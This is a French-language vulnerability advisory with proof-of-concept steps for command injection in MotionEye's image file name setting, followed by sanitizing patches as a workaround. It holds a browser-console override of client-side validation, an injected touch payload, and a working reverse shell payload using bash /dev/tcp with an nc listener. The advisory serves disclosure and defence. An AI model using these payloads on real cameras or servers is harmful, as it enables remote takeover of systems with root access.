
Étapes du PoC pour cette vulnérabilité
Lors d'un test de sécurité d'une instance MotionEye exécutée dans Docker, il a été observé que la validation côté client dans l'interface web peut être contournée. Cela permet de soumettre des entrées arbitraires, y compris des charges utiles pouvant déclencher une exécution sur le conteneur hôte. Le problème présente un risque d'exécution de code à distance (RCE) s'il est exploité.
Versions concernées: Toutes les versions jusqu'à 0.43.1b4 incluse
État du correctif: Aucun correctif disponible pour le moment. Une solution de contournement est fournie dans cet avis.
Référence du projet: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS: 3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 mappé vers le port 8765 du conteneuradmin / mot de passe vide (par défaut)Exécutez la commande suivante pour lancer le téléchargement de l'image Docker et démarrer le conteneur
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker logs motioneye | grep "motionEye server"
Résultat : Serveur MotionEye 0.43.1b4

Une fois le conteneur Docker en cours d'exécution, le shell du conteneur peut être accessible à l'aide des commandes suivantes
docker exec -it motioneye /bin/bash
ls -la /tmp
Accédez à l'interface web à l'adresse :
http://127.0.0.1:9999
Connexion : admin (mot de passe vide)
Ajout d'une caméra réseau RTSP d'exemple.

Une commande d'exécution malveillante a été saisie dans le champ « Still Images » > « Image File Name », mais une erreur de validation côté client a été rencontrée.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Bloquée par la validation côté client.

Le script suivant est responsable de la validation : /static/js/main.js?v=0.43.1b4, qui fait référence à /static/js/ui.js?v=0.43.1b4 pour implémenter les conditions de validation.
Fichier : /static/js/main.js?v=0.43.1b4 référençant /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
En redéfinissant la fonction configUiValid dans la console du navigateur, toutes les vérifications de validation peuvent être contournées : saisissez l'extrait ci-dessous dans la console du navigateur (F12 ou Ctrl+Maj+I)
configUiValid = function() {
return true;
};
La charge utile peut désormais être saisie directement sans validation : définissez-la comme ci-dessous puis appliquez les paramètres.
Paramètres :
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Appliqué → Fichier créé avec les permissions root.
Production simple d'un reverse shell :
Écouteur :
nc -lvnp 4444
Charge utile injectée :
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
Résultat : Shell distant obtenu.
MotionEye est vulnérable car il prend les entrées utilisateur du tableau de bord web et les écrit directement dans les fichiers de configuration Motion sans vérifier les caractères dangereux. Par exemple, le champ image_file_name de l'interface est envoyé au backend (config.py) et enregistré dans /etc/motioneye/camera-.conf. Lorsque MotionEye redémarre le service Motion (motionctl.start), le processus Motion lit ce fichier de configuration. Si le champ picture_filename contient une syntaxe shell comme $(touch /tmp/test), Motion l'exécutera comme une véritable commande au lieu de la traiter comme faisant partie du nom de fichier.
Entrée non assainie écrite dans les fichiers de configuration Motion :
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parse picture_filename → exécute la charge utile
Fichier : /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value
Appliquez l'assainissement :
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
avant :
après :

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
Original :
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
Remplacez par :
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
docker restart motioneye
Dans motion_camera_ui_to_dict(...) :
Original :
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
Remplacez par :
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')